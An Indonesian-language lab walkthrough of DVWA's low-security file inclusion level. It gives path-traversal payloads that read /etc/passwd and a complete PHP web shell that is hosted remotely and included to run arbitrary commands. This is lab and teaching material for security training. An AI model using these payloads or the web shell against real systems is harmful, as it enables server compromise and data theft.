DVWA
  • Introduction
  • About The Author
  • Brute Force
    • Pengenalan
    • Low
    • Medium
    • High
  • Command Injection
    • Pengenalan
    • Low
    • Medium
    • High
  • CSRF
    • Pengenalan
    • Low
    • Medium
    • High
  • File Inclusion
    • Pengenalan
    • Low
    • Medium
    • High
  • File Upload
    • Pengenalan
    • Low
    • Medium
    • High
  • SQL Injection
    • Pengenalan
    • Low
    • Medium
    • High
  • SQL Injection (Blind)
    • Pengenalan
    • Low
    • Medium
    • High
  • XSS (DOM)
    • Pengenalan
    • Low
    • Medium
    • High
  • XSS (Reflected)
    • Pengenalan
    • Low
    • Medium
    • High
  • XSS (STORED)
    • Pengenalan
    • Low
    • Medium
    • High
  • CSP Bypass
    • Pengenalan
    • Low
    • Medium
    • High
Powered by GitBook
On this page
  • Mencari Informasi
  • Melakukan Serangan
  • Local File Inclusion
  • Remote File Inclusion

Was this helpful?

  1. File Inclusion

Low

File Inclusion level Low on DVWA

PreviousPengenalanNextMedium

Last updated 5 years ago

Was this helpful?

Di bawah ini adalah source-code dari file inclusion level low di DVWA.

vulnerabilities/fi/source/low.php
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?> 

Mencari Informasi

Saat pertama kali kita mengakses halaman file inclusion, terdapat parameter page pada URL yang memanggil file include.php.

Jika kita klik file1.php, maka nilai parameter page akan menggunakan nama file tersebut dan menampilkan isinya, seperti berikut:

Ketika saya coba menginputkan ../ (untuk mundur 1 direktori) tidak terdapat pesan error apa pun. Dengan begitu kita bisa mencoba untuk melakukan eskalasi lebih lanjut.

Melakukan Serangan

Karena ada 2 jenis file inclusion, kita akan mencoba keduanya.

Local File Inclusion

Contohnya saya akan mencari file /etc/passwd pada server. Untuk itu saya harus mundur beberapa direktori dari tempat web server saat ini.

Setelah saya coba berkali-kali, akhirnya saya menemukan jawabannya, yaitu mundur 5 direktori terlebih dahulu.

?page=../../../../../etc/passwd

Yup! Dan sekarang kita bisa melihat isi dari file tersebut.

Cara lainnya adalah anda bisa langsung menggunakan payload seperti berikut:

?page=/etc/passwd

Remote File Inclusion

Kali ini kita akan membuat shell terlebih dahulu, lalu kita akan upload file tersebut ke suatu server yang bisa diakses oleh server target dan kita melakukan RCE.

Langsung saja, pertama-tama kita buat shell seperti di bawah ini lalu upload ke hosting/VPS kalian:

RFI-shell.txt
<body>
  <form action="<?php $link=(isset($_SERVER['HTTPS']) ? "https" : "http")."://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; echo "{$link}"?>" method="POST">
    <center>
      <br>
      <h1> Remote File Inclusion - SHELL </h1>
      <h2>
        Command:
        <input type="text" name="cmd" value=""/>
        <input type="submit" name="submit" value="cmd">
      </h2>
    </center>
  </form>

  <?php
    if(isset($_POST["cmd"])) {
      $cmd = $_POST["cmd"];
      $output = shell_exec("{$cmd}");
      echo "<h2>".$cmd."</h2>"."<pre>".$output."</pre>";
    }
  ?>
</body>

Setelah di-upload, panggil file tersebut melalui celah file inclusion. Contohnya di sini shell bisa diakses di http://0.0.0.0/RFI-shell.txt.

Selanjutnya anda bisa meng-explore lebih jauh lagi.

Dan jika berhasil, kita bisa menjalankan RCE seperti di atas. Gimana? NGERI? haha

Tetap semangat! Happy Hacking!

😁
😅
🍻